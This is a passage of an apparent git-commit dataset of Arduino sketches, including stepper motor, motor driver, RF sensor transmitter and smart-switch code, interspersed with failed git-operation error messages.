15\n };\n\n \/\/loop through the 4 sig to set channle\n for(int i = 0; i < 4; i ++){\n digitalWrite(controlPin[i], muxChannel[channel][i]);\n }\n\/\/ Serial.print(\" channle: \");\n\/\/ Serial.print(channel);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ovenpi.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"e1bff356943611f3df9dc6a11a4c3a97a1918cae","subject":"Add 'ino' file to allow build from Arduino IDE","message":"Add 'ino' file to allow build from Arduino IDE\n","repos":"monstrenyatko\/ArduinoMqttNode","old_file":"GoliathMqttSensor.ino","new_file":"GoliathMqttSensor.ino","new_contents":"\/* Stub to allow build from Arduino IDE *\/\n\/* Includes to external libraries *\/\n#include <MemoryFree.h>\n#include <Countdown.h>\n#include <MQTTClient.h>\n#include <SoftwareSerial.h>\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GoliathMqttSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5c534061a46f7f7925fb2f0773f1937712d1f6e","subject":"Commended debug statements.","message":"Commended debug statements.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2198cc881b0465329bd0ddfd8b191378359c2225","subject":"pins changed ","message":"pins changed \n\ngreenled -> 7 \r\nbuzzer -> 12","repos":"hantar\/arduinogo,hantar\/arduinogo,hantar\/arduinogo","old_file":"matrix timer\/my_-_matrix8x8.ino","new_file":"matrix timer\/my_-_matrix8x8.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'matrix' did not match any file(s) known to git\nerror: pathspec 'timer\/my_-_matrix8x8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"830435d07ec7d5bfbc8098017334a114e3590cb7","subject":"Kapitola: Meranie teploty","message":"Kapitola: Meranie teploty","repos":"Galeje\/Cing","old_file":"Programy\/05_Meranie teploty.ino","new_file":"Programy\/05_Meranie teploty.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programy\/05_Meranie' did not match any file(s) known to git\nerror: pathspec 'teploty.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"01d043a6bb0fb201cb4d7b05d3b8b64712a8c503","subject":"fs_office.ino: added 2 new ways to set pixels in single commands","message":"fs_office.ino: added 2 new ways to set pixels in single commands\n","repos":"pmark\/MartianRover,pmark\/MartianRover,pmark\/MartianRover,pmark\/MartianRover,pmark\/MartianRover","old_file":"Bitmapper\/spark\/fs_office.ino","new_file":"Bitmapper\/spark\/fs_office.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/pmark\/MartianRover.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"63044588f00c17fbc2b17b0ceed89e8a8d535559","subject":"with 8 cases to make it a stronger motor test","message":"with 8 cases to make it a stronger motor test\n","repos":"IrisEdelsmid\/arduinoFun","old_file":"Steppermotor\/Steppermoto_8_cases\/Steppermoto_8_cases.ino","new_file":"Steppermotor\/Steppermoto_8_cases\/Steppermoto_8_cases.ino","new_contents":"\/\/this is a test with 8 cases to make the steppermotor stronger. \nint bluePin = 2;\nint pinkPin = 3;\nint yellowPin = 4;\nint orangePin = 5;\nint currentStep = 0;\n\nint waveStepCount = 4;\nint totalCases = 8;\n\nbool clockwise = false;\n\nvoid setup() {\npinMode(bluePin, OUTPUT);\npinMode(pinkPin, OUTPUT);\npinMode(yellowPin, OUTPUT);\npinMode(orangePin, OUTPUT);\n\ndigitalWrite(bluePin, LOW);\ndigitalWrite(pinkPin, LOW);\ndigitalWrite(yellowPin, LOW);\ndigitalWrite(orangePin, LOW);\n}\nvoid loop() {\n\n int directionStep = clockwise ? currentStep : (totalCases-1)-currentStep;\nswitch(directionStep){\n case 0:\n digitalWrite(bluePin, HIGH);\n digitalWrite(pinkPin, LOW);\n digitalWrite(yellowPin, LOW);\n digitalWrite(orangePin, LOW);\n break;\n case 1:\n digitalWrite(bluePin, HIGH);\n digitalWrite(pinkPin, HIGH);\n digitalWrite(yellowPin, LOW);\n digitalWrite(orangePin, LOW);\n break;\n case 2:\n digitalWrite(bluePin, LOW);\n digitalWrite(pinkPin, HIGH);\n digitalWrite(yellowPin, LOW);\n digitalWrite(orangePin, LOW);\n break;\n case 3:\n digitalWrite(bluePin, LOW);\n digitalWrite(pinkPin, HIGH);\n digitalWrite(yellowPin, HIGH);\n digitalWrite(orangePin, LOW);\n break;\n case 4:\n digitalWrite(bluePin, LOW);\n digitalWrite(pinkPin, LOW);\n digitalWrite(yellowPin, HIGH);\n digitalWrite(orangePin, LOW);\n break;\n case 5:\n digitalWrite(bluePin, LOW);\n digitalWrite(pinkPin, LOW);\n digitalWrite(yellowPin, HIGH);\n digitalWrite(orangePin, HIGH);\n break;\n case 6:\n digitalWrite(bluePin, LOW);\n digitalWrite(pinkPin, LOW);\n digitalWrite(yellowPin, LOW);\n digitalWrite(orangePin, HIGH);\n break;\n case 7:\n digitalWrite(bluePin, HIGH);\n digitalWrite(pinkPin, LOW);\n digitalWrite(yellowPin, LOW);\n digitalWrite(orangePin, HIGH);\n break;\n}\ncurrentStep = (++currentStep <totalCases ) ? currentStep : 0;\n\n\ndelay(2);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Steppermotor\/Steppermoto_8_cases\/Steppermoto_8_cases.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"35609da389628c601807bae24ccc7103b9b7a319","subject":"initial checkin (not even beta)","message":"initial checkin (not even beta)\n","repos":"rthomas67\/te466-monster-moto-single-channel-arduino,rthomas67\/te466-monster-moto-single-channel-arduino","old_file":"arduino\/te466_driver\/te466_driver.ino","new_file":"arduino\/te466_driver\/te466_driver.ino","new_contents":"\/* \n This code and the corresponding pin choices are intended for Arduino NANO v3.0\n \n Motor controller is a TE466 \"mini\" Monster Moto Shield. \n Note: The TE466 is a MUCH cheaper (~$8) single-motor version of the dual-motor SparkFun Monster Moto Shield (~$70)\n \n Note: INA and INB control the direction (or braking) according to whether they're set HIGH or LOW.\n See details in the comments for the startMotor() function below.\n\n Note: This was adapted (a little bit) from the example code for the SparkFun\n (2-chip, 2-motor) Monster Moto Shield.\n Date: 2016\/10\/10\n Author: R Thomas\n \n Reminder: digitalWrite(someAnalogPin, HIGH) turns on the built-in pull-up resistor on an analog pin\n Reminder: analogWrite(someDigitalPin, value) enables PWM output on a digital pin (if capable)\n *\/\n\n\/\/ Brake to VCC (both motor pins set to HIGH \/ \"on\")\n#define BRAKEVCC 1\n\/\/ Run motor forward (pin inA set to HIGH \/ \"on\")\n#define FORWARD 2\n\/\/ Run motor backwards (pin INB set to HIGH \/ \"on\")\n#define REVERSE 3\n\/\/ Brake to ground (both motor pins set to LOW \/ \"off\")\n#define BRAKEGND 4\n#define CS_THRESHOLD 600\n#define UPDATE_INTERVAL 10\n\n\/* TE466 VNH2SP30 pin definitions *\/\n\/\/ INA: digital\/logic-level output HIGH for FORWARD, LOW for REVERSE\n\/\/ direct connection to TE466 - INA\n\/\/ Arduino NANO pin D5\nstatic const uint8_t PIN_INA = 5;\n\n\/\/ INB: digital\/logic-level output LOW for FORWARD, HIGH for REVERSE\n\/\/ direct connection to TE466 - INB\n\/\/ Arduino NANO pin D6\nstatic const uint8_t PIN_INB = 6;\n\n\/\/ PWM: modulated digital\/logic-level output to regulate duty-cycle on output\n\/\/ direct connection to TE466 - PWM (sometimes labeled PMW)\n\/\/ Arduino NANO pin D9\nstatic const uint8_t PIN_PWM = 9;\n\n\/\/ CS: analog input for \"current sense\"\n\/\/ direct connection to TE466 - CS\n\/\/ Arduino NANO pin A3\nstatic const uint8_t PIN_CS = A3;\n\n\/\/ EN: \"ENable\" status of switches output (Analog pin)\n\/\/ direct connection to TE466 - EN\n\/\/ Arduino NANO pin A6\nstatic const uint8_t PIN_EN = A6;\n\n\/\/ On board LED\nstatic const uint8_t PIN_STATUS = 13;\n\nstatic const uint8_t MAXIMUM_PROGRAM_STEPS = 100;\n\nboolean motorCurrentFaultDetected = false;\n\nclass MotorState {\n uint8_t currentStateIna = LOW;\n uint8_t currentStateInb = LOW;\n uint8_t currentStatePwm = 0;\n uint8_t desiredStateIna = LOW;\n uint8_t desiredStateInb = LOW;\n uint8_t desiredStatePwm = 0;\n \n public:\n MotorState() {\n \n }\n \n void setDesiredState(uint8_t ina, uint8_t inb, uint8_t pwm) {\n desiredStateIna = ina;\n desiredStateInb = inb;\n desiredStatePwm = pwm;\n }\n \n void updateMotorState() {\n if (desiredStateIna != currentStateIna) {\n currentStateIna = desiredStateIna;\n digitalWrite(PIN_INA, currentStateIna);\n }\n if (desiredStateInb != currentStateInb) {\n currentStateInb = desiredStateInb;\n digitalWrite(PIN_INB, currentStateInb);\n }\n if (desiredStatePwm != currentStatePwm) {\n currentStatePwm = desiredStatePwm;\n analogWrite(PIN_PWM, currentStatePwm);\n }\n }\n\n};\n\nclass ProgramStep {\n uint8_t motorDirection = BRAKEGND;\n uint8_t motorSpeed = 0;\n long durationMillis = 0;\n long startTime = 0;\n \n \/\/ derived upon construction\n uint8_t desiredStateIna;\n uint8_t desiredStateInb;\n \n public:\n ProgramStep(uint8_t motorDirection, uint8_t motorSpeed, long durationMillis) {\n this->motorDirection = motorDirection;\n this->motorSpeed = motorSpeed;\n this->durationMillis = durationMillis;\n if (motorDirection == FORWARD || motorDirection == BRAKEVCC)\n desiredStateIna = HIGH;\n else\n desiredStateIna= LOW;\n\n if ((motorDirection == BRAKEVCC) || (motorDirection == REVERSE))\n desiredStateInb = HIGH;\n else\n desiredStateInb = LOW;\n }\n\n boolean activate(MotorState *motorState) {\n startTime = millis(); \/\/ reset the clock\n motorState->setDesiredState(desiredStateIna, desiredStateInb, motorSpeed);\n }\n \n boolean isDurationComplete() {\n long endTime = startTime + durationMillis;\n return (millis() >= endTime);\n }\n \n};\n\nclass Program {\n uint8_t currentProgramStepIndex = 0;\n uint8_t programStepCount = 0;\n boolean programStarted = false;\n ProgramStep *programSteps[MAXIMUM_PROGRAM_STEPS];\n \n public:\n Program() {\n }\n \n void addProgramStep(ProgramStep *programStep) {\n \/\/ Check current programStepCount (1-based) against maximum\n if (programStepCount < MAXIMUM_PROGRAM_STEPS) {\n programStepCount++;\n \/\/ array index is 0-based\n programSteps[programStepCount - 1] = programStep;\n }\n }\n\n void updateProgramState(MotorState *motorState) {\n boolean stepChanged = false;\n \/\/ update the index for the current program step when the current step is done \n if (programSteps[currentProgramStepIndex]->isDurationComplete()) {\n stepChanged = true;\n currentProgramStepIndex++;\n if (currentProgramStepIndex >= programStepCount) {\n currentProgramStepIndex = 0; \/\/ loop and repeat program\n }\n }\n if (stepChanged || !programStarted) {\n programStarted = true;\n programSteps[currentProgramStepIndex]->activate(motorState);\n }\n }\n};\n\nMotorState *motor1State;\n\nProgram *currentProgram;\n\nvoid setup()\n{\n pinMode(PIN_STATUS, OUTPUT);\n \/\/ Init motor controller (digital and PWM) pins as outputs\n pinMode(PIN_INA, OUTPUT);\n pinMode(PIN_INB, OUTPUT);\n pinMode(PIN_PWM, OUTPUT); \/\/ analogWrite will set PWM duty cycle\n \/\/ Init \"enable\" and \"current sense\" pins as inputs\n \/\/ TODO: Find out what exactly the EN pin does. It is mapped to a connector on the motor shield board\n \/\/ but the SparkFun example Arduino code does nothing with the pin that is mapped\/connected to it.\n pinMode(PIN_EN, INPUT);\n pinMode(PIN_CS, INPUT);\n\n motor1State = new MotorState();\n currentProgram = new Program();\n \n \/\/ on full back and forth (4 seconds total)\n currentProgram->addProgramStep(new ProgramStep(FORWARD, 1023, 2000));\n currentProgram->addProgramStep(new ProgramStep(REVERSE, 1023, 2000));\n \/\/ on lower power back and forth (6 seconds total)\n currentProgram->addProgramStep(new ProgramStep(FORWARD, 550, 3000));\n currentProgram->addProgramStep(new ProgramStep(REVERSE, 550, 3000));\n \/\/ off for a few seconds\n currentProgram->addProgramStep(new ProgramStep(BRAKEGND, 0, 2000));\n \/\/ back and forth 3 times quick\n currentProgram->addProgramStep(new ProgramStep(REVERSE, 550, 250));\n currentProgram->addProgramStep(new ProgramStep(FORWARD, 550, 250));\n currentProgram->addProgramStep(new ProgramStep(REVERSE, 550, 250));\n currentProgram->addProgramStep(new ProgramStep(FORWARD, 550, 250));\n currentProgram->addProgramStep(new ProgramStep(REVERSE, 550, 250));\n currentProgram->addProgramStep(new ProgramStep(FORWARD, 550, 250));\n currentProgram->addProgramStep(new ProgramStep(REVERSE, 550, 250));\n \n \/\/ Initialize stopped\/braked\n stopMotor();\n \n}\n\nvoid loop() {\n if (motorCurrentFaultDetected) {\n \/\/ fast-blink the on-board LED\n digitalWrite(PIN_STATUS, HIGH);\n delay(50);\n digitalWrite(PIN_STATUS, HIGH);\n delay(50);\n } else {\n \/\/ Check every loop to be sure the motor isn't stalled\n \/\/ or drawing too much current.\n if (analogRead(PIN_CS) > CS_THRESHOLD) {\n stopMotor();\n motorCurrentFaultDetected = true;\n } else {\n \/\/ continue the motor-sequence program\n digitalWrite(PIN_STATUS, HIGH);\n delay(UPDATE_INTERVAL);\n currentProgram->updateProgramState(motor1State);\n motor1State->updateMotorState();\n }\n }\n \n}\n\nvoid stopMotor() {\n digitalWrite(PIN_INA, LOW);\n digitalWrite(PIN_INB, LOW);\n analogWrite(PIN_PWM, 0);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/te466_driver\/te466_driver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d80b625ea2246ddd4757ae6f16a2fafbbad23f27","subject":"Cleanup a bit","message":"Cleanup a bit","repos":"lgramatikov\/celeste","old_file":"TempSensor.ino","new_file":"TempSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9ede786a794622e9785b40d4fcccb928896bf212","subject":"Change communication","message":"Change communication\n\nWait for value","repos":"tms1337\/inverted-pendulum","old_file":"BakiMPU.ino","new_file":"BakiMPU.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tms1337\/inverted-pendulum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f31e5b71e74207dbcbde056cc1d7a5f10ddabccc","subject":"New sensor bar (with potentiometer only)","message":"New sensor bar (with potentiometer only)\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"Arduino\/KiteBarUnit2\/KiteBarUnit2.ino","new_file":"Arduino\/KiteBarUnit2\/KiteBarUnit2.ino","new_contents":"\/\/ ask_transmitter.pde\n\/\/ -*- mode: C++ -*-\n\/\/ Simple example of how to use RadioHead to transmit messages\n\/\/ with a simple ASK transmitter in a very simple way.\n\/\/ Implements a simplex (one-way) transmitter with an TX-C1 module\n\n#include <RH_ASK.h>\n#include <SPI.h> \/\/ Not actually used but needed to compile\n\n\/\/ Includes\n#define NO_PORTB_PINCHANGES \/\/ PortB used for mySofwareSerial\n#include <PinChangeInt.h> \/\/ From https:\/\/github.com\/GreyGnome\/PinChangeInt\n\n\/\/ Port definition\n\n#define DATA_OUT_PIN 2 \/\/ RF module ATAD pin\n#define LED_PIN 13 \/\/ Built-in led\n#define PIN_5V_1 12\n#define PIN_0V_1 11\n#define PIN_5V_2 9\n#define PIN_0V_2 10\nconst int POT_PIN1 = A7; \/\/ Potentiometer\nconst int POT_PIN2 = A6; \/\/ Potentiometer\nconst int LINE_TENSION_PIN1 = A5; \/\/ For line tension measurement\nconst int LINE_TENSION_PIN2 = A4; \/\/ For line tension measurement\n\n\nRH_ASK driver(4800, 11, DATA_OUT_PIN);\n\/\/Transmitter : ATAD D12\n\nuint8_t data[4]; \/\/ 2 element array of unsigned 8-bit type, holding Joystick readings\n\n#define FEEDBACK_RATE_ms 50\nlong last_sent_ms = 0;\n\n#define POT_RANGE_DEG 300 \/\/ 300 is the value for standard potentiometer\n\n\nvoid setup()\n{\n Serial.begin(9600);\t \/\/ Debugging only\n if (!driver.init())\n Serial.println(\"init failed\");\n data[0] = 127;\n data[1] = 127;\n data[2] = 0;\n data[3] = 127; \n \n pinMode(PIN_0V_1, OUTPUT);\n pinMode(PIN_0V_2, OUTPUT);\n pinMode(PIN_5V_1, OUTPUT);\n pinMode(PIN_5V_2, OUTPUT); \n}\n\nvoid loop()\n{ \n digitalWrite(PIN_5V_1, HIGH);\n digitalWrite(PIN_5V_2, HIGH);\n digitalWrite(PIN_0V_1, LOW);\n digitalWrite(PIN_0V_2, LOW);\n sendFeedback();\n delay(10);\n}\n\nvoid computeFeedback()\n{\n \n \/\/ Feedbacks are normalized between -1 and 1\n \n \/\/ Potentiometer angle\n data[0] = map(analogRead(POT_PIN1),(POT_RANGE_DEG-180)\/300*1023, 1023, 0, 255);\n data[1] = map(analogRead(POT_PIN2),(POT_RANGE_DEG-180)\/300*1023, 1023, 0, 255); \/\/Map for clean saturation\n data[2] = map(analogRead(LINE_TENSION_PIN1), 0, 1023, 0, 255);\n data[3] = map(analogRead(LINE_TENSION_PIN2), 0, 1023, 0, 255);\n\n}\nvoid sendFeedback()\n{\n \/\/ All the feedback values are normalized in the range 0-1023 (10 bits resolution)\n if (fabs(millis()-last_sent_ms)>FEEDBACK_RATE_ms)\n {\n last_sent_ms = millis();\n computeFeedback();\n driver.send(data, sizeof(data));\n driver.waitPacketSent();\n Serial.print(data[0]);\n Serial.print(\", \");\n Serial.print(data[1]);\n Serial.print(\", \");\n Serial.print(data[2]);\n Serial.print(\", \");\n Serial.print(data[3]);\n Serial.println(\", \");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/KiteBarUnit2\/KiteBarUnit2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6e7cccff12fb687f2babdf7175eac747007ed193","subject":"Fix arduino codes for smart switch","message":"Fix arduino codes for smart switch\n","repos":"shdxiang\/yunba-smartoffice,shdxiang\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice","old_file":"arduino\/sketch_switch\/sketch_switch.ino","new_file":"arduino\/sketch_switch\/sketch_switch.ino","new_contents":"\/* serial data format:\n header:\n flag: 1 byte, 0xaa, filter out debug message\n type: 1 bytes, 1: upstream, 2: downstream\n body length: 2 bytes, network byte order\n body:\n json data from yunba service\n*\/\n#include <ArduinoJson.h>\n#include <PWM.h>\n\n#define MSG_TYPE_UP 0x01\n#define MSG_TYPE_DOWN 0x02\n\n#define HEADER_LEN 4\n#define BUF_LEN 256\n#define FLAG_CHAR 0xaa\n\n#define FIRST_PIN_CTRL 3\n#define FIRST_PIN_LED 6\n#define FIRST_PIN_PWM 9\n#define FIRST_PIN_TOUCH A1\n\n\/* \u68c0\u6d4b\u5230 MAX_LOW_CNT \u6b21\u5c0f\u4e8e MAX_LOW_ANNALOG \u7684\u7535\u538b\u540e, \u8ba4\u4e3a\u662f\u9762\u677f\u53d1\u51fa\u4e86\u5173\u7684\u4fe1\u53f7 *\/\n#define MAX_LOW_CNT 16\n#define MAX_LOW_ANNALOG 192\n\n#define CHILD_NUM 1\n\n\nclass Child;\n\nconst char *g_devid = \"switch_0\";\n\nuint8_t g_header[HEADER_LEN];\nuint8_t g_buf[BUF_LEN];\nint g_step = 1; \/\/ 1: recv header, 2 recv body\nuint16_t g_body_len = 0;\nuint16_t g_recv_len = 0;\n\nChild *g_child[CHILD_NUM];\n\nchar g_need_report = 1;\nunsigned long g_check_ms = 0;\n\n\nclass Child {\nprivate:\n int pin_ctrl; \/* \u63a7\u5236\u7ee7\u7535\u5668 *\/\n int pin_led; \/* \u63a7\u5236\u5f00\u5173\u7684\u6307\u793aLED *\/\n int pin_pwm; \/* \u8f93\u51faPWM\u7ed9\u89e6\u6478\u9762\u677f *\/\n int pin_touch; \/* \u63a5\u53d7\u6765\u81ea\u89e6\u6478\u9762\u677f\u7684\u5f00\u5173\u4fe1\u53f7 *\/\n\n int ctrl_value; \/* \u5f53\u524d\u7ee7\u7535\u5668\u72b6\u6001 *\/\n\n int touch_value; \/* \u5f53\u524d\u89e6\u6478\u9762\u677f\u8ba4\u4e3a\u7684\u5f00\u5173\u72b6\u6001 *\/\n int low_cnt; \/* \u89e6\u6478\u9762\u677f\u5f00\u5173\u4fe1\u53f7\u4e3a0\u7684\u8ba1\u6570, \u5f53\u8d85\u8fc7\u9608\u503c, \u8ba4\u4e3a\u662f\u5173\u4fe1\u53f7(\u56e0\u4e3a\u9762\u677f\u8f93\u51fa\u4e0d\u7a33\u5b9a\u7684\u8109\u51b2) *\/\n\npublic:\n Child(int pin_ctrl, int pin_led, int pin_pwm, int pin_touch) {\n this->pin_ctrl = pin_ctrl;\n this->pin_led = pin_led;\n this->pin_pwm = pin_pwm;\n this->pin_touch = pin_touch;\n\n pinMode(this->pin_ctrl, OUTPUT);\n digitalWrite(this->pin_ctrl, LOW);\n\n pinMode(this->pin_led, INPUT);\n\n SetPinFrequencySafe(this->pin_pwm, 50);\n pwmWrite(this->pin_pwm, 127);\n\n pinMode(this->pin_touch, INPUT);\n\n this->ctrl_value = 0;\n this->touch_value = 0;\n this->low_cnt = 0;\n }\n\n void loop() {\n int value = check_touch();\n if (this->touch_value != value) {\n Serial.println(\"touch signal!\");\n SetCtrl(!ctrl_value);\n this->touch_value = value;\n g_need_report = 1;\n }\n }\n\n int check_touch() {\n int i = 0;\n i = analogRead(this->pin_touch);\n \n if (i < MAX_LOW_ANNALOG) {\n ++this->low_cnt;\n if (this->low_cnt >= MAX_LOW_CNT) {\n this->low_cnt = 0;\n return 0;\n }\n } else {\n this->low_cnt = 0;\n return 1;\n }\n return this->touch_value; \n }\n\n int GetCtrl() {\n return this->ctrl_value;\n }\n\n void SetCtrl(int value) {\n Serial.println(\"set ctrl:\");\n Serial.println(value);\n if (value) {\n value = 1;\n }\n if (value == this->ctrl_value) {\n return;\n }\n this->ctrl_value = value;\n if (value) {\n digitalWrite(this->pin_ctrl, HIGH);\n pinMode(this->pin_led, INPUT);\n digitalWrite(this->pin_led, LOW);\n } else {\n digitalWrite(this->pin_ctrl, LOW);\n pinMode(this->pin_led, INPUT);\n }\n }\n};\n\n\nvoid recv_header() {\n while (Serial.available() >= HEADER_LEN) {\n Serial.readBytes(g_header, 1);\n\/\/ Serial.println((uint8_t)g_header[0], HEX);\n if (g_header[0] == FLAG_CHAR) {\n break;\n }\n }\n\n if (g_header[0] != FLAG_CHAR) { \/\/ no enough data\n return;\n }\n\n Serial.readBytes(g_header + 1, HEADER_LEN - 1);\n\n if (g_header[1] != MSG_TYPE_DOWN) { \/\/ not a downstream message\n return;\n }\n\n \/* le *\/\n ((uint8_t *)&g_body_len)[0] = g_header[3];\n ((uint8_t *)&g_body_len)[1] = g_header[2];\n\n Serial.println(\"len:\");\n Serial.println(g_body_len);\n\n if (g_body_len > (BUF_LEN - HEADER_LEN - 1)) {\n Serial.println(\"too long msg\");\n return;\n }\n\n g_recv_len = 0;\n g_step = 2;\n}\n\nvoid recv_body() {\n uint16_t len = 0;\n\n len = Serial.readBytes(g_buf + g_recv_len, g_body_len - g_recv_len);\n g_recv_len += len;\n\n if (g_recv_len != g_body_len) {\n return;\n }\n\n \/\/ now got a completed msg\n g_buf[g_body_len] = 0;\n Serial.println(\"got a msg:\");\n Serial.println((char *)g_buf);\n\n handle_msg();\n\n memset(g_header, 0, HEADER_LEN);\n g_step = 1;\n}\n\nvoid handle_msg() {\n StaticJsonBuffer<128> jsonBuffer;\n\n JsonObject& root = jsonBuffer.parseObject((char *)g_buf);\n if (!root.success()) {\n Serial.println(\"parseObject\");\n return;\n }\n\n if (strcmp(root[\"devid\"], g_devid) != 0) {\n Serial.println(\"not my devid\");\n return;\n }\n\n if (strcmp(root[\"cmd\"], \"switch_set\") == 0) {\n int j = min(CHILD_NUM, root[\"status\"].size());\n for (int i = 0; i < j; i++) {\n uint8_t value = root[\"status\"][i];\n if (value) {\n value = 1;\n }\n if (value != g_child[i]->GetCtrl()) {\n g_child[i]->SetCtrl(value);\n g_need_report = 1;\n }\n }\n } else if (strcmp(root[\"cmd\"], \"switch_get\") == 0) {\n g_need_report = 1;\n }\n}\n\nvoid send_msg() {\n g_buf[0] = FLAG_CHAR;\n g_buf[1] = MSG_TYPE_UP; \/\/ 1: upstream\n g_buf[2] = ((uint8_t *)&g_body_len)[1];\n g_buf[3] = ((uint8_t *)&g_body_len)[0];\n\n Serial.write(g_buf, g_body_len + HEADER_LEN);\n \/\/\/ Serial.flush();\n}\n\nvoid report_status() {\n StaticJsonBuffer<128> jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n\n root[\"devid\"] = g_devid;\n\n JsonArray& st = root.createNestedArray(\"status\");\n for (int i = 0; i < CHILD_NUM; i++) {\n st.add(g_child[i]->GetCtrl());\n }\n g_body_len = root.printTo((char *)g_buf + HEADER_LEN, BUF_LEN - HEADER_LEN);\n\n send_msg();\n}\n\nvoid handle_input() {\n if (g_step == 1) {\n recv_header();\n } else if (g_step == 2) {\n recv_body();\n }\n}\n\nvoid init_child() {\n InitTimersSafe();\n\n for (int i = 0; i < CHILD_NUM; i++) {\n g_child[i] = new Child(FIRST_PIN_CTRL + i, FIRST_PIN_LED + i, FIRST_PIN_PWM + i, FIRST_PIN_TOUCH + i);\n }\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n \/\/Serial.setTimeout(100);\n Serial.println(\"setup...\");\n\n init_child();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n handle_input();\n\n if (g_need_report) {\n report_status();\n g_need_report = 0;\n }\n\n for (int i = 0; i < CHILD_NUM; i++) {\n g_child[i]->loop();\n }\n\n delay(1);\n}\n","old_contents":"\/* serial data format:\n * header:\n * flag: 1 byte, 0xaa, filter out debug message\n * type: 1 bytes, 1: upstream, 2: downstream\n * body length: 2 bytes, network byte order\n * body:\n * json data from yunba service\n *\/ \n#include <ArduinoJson.h>\n\n#define MSG_TYPE_UP 0x01\n#define MSG_TYPE_DOWN 0x02\n\n#define HEADER_LEN 4\n#define BUF_LEN 256\n#define FLAG_CHAR 0xaa\n#define FIRST_PIN 5\n\n#define CHILD_NUM 3\n\nconst char *g_appkey = \"5697113d4407a3cd028abead\";\nconst char *g_topic = \"smart_office\";\nconst char *g_devid = \"switch_0\";\n\nuint8_t g_header[HEADER_LEN];\nuint8_t g_buf[BUF_LEN];\nint g_step = 1; \/\/ 1: recv header, 2 recv body\nuint16_t g_body_len = 0;\nuint16_t g_recv_len = 0;\n\nchar g_status[CHILD_NUM];\n\nchar g_need_report = 1;\nunsigned long g_check_ms = 0;\n\nvoid recv_header() {\n while (Serial.available() >= HEADER_LEN) {\n Serial.readBytes(g_header, 1);\n\/\/ Serial.println((uint8_t)g_header[0], HEX);\n if (g_header[0] == FLAG_CHAR) {\n break;\n }\n }\n\n if (g_header[0] != FLAG_CHAR) { \/\/ no enough data\n return;\n }\n\n Serial.readBytes(g_header + 1, HEADER_LEN - 1);\n\n if (g_header[1] != MSG_TYPE_DOWN) { \/\/ not a downstream message\n return;\n }\n\n \/* le *\/\n ((uint8_t *)&g_body_len)[0] = g_header[3];\n ((uint8_t *)&g_body_len)[1] = g_header[2];\n\n Serial.println(\"len:\");\n Serial.println(g_body_len);\n\n if (g_body_len > (BUF_LEN - HEADER_LEN - 1)) {\n Serial.println(\"too long msg\");\n return;\n }\n\n g_recv_len = 0;\n g_step = 2;\n}\n\nvoid recv_body() {\n uint16_t len = 0;\n\n len = Serial.readBytes(g_buf + g_recv_len, g_body_len - g_recv_len);\n g_recv_len += len;\n\n if (g_recv_len != g_body_len) {\n return;\n }\n\n \/\/ now got a completed msg\n g_buf[g_body_len] = 0;\n Serial.println(\"got a msg:\");\n Serial.println((char *)g_buf);\n\n handle_msg();\n\n memset(g_header, 0, HEADER_LEN);\n g_step = 1;\n}\n\nvoid handle_msg() {\n StaticJsonBuffer<128> jsonBuffer;\n\n JsonObject& root = jsonBuffer.parseObject((char *)g_buf);\n if (!root.success()) {\n Serial.println(\"parseObject\");\n return;\n }\n\n if (strcmp(root[\"devid\"], g_devid) != 0) {\n Serial.println(\"not my devid\");\n return;\n }\n\n if (strcmp(root[\"cmd\"], \"switch_set\") == 0) {\n int j = min(CHILD_NUM, 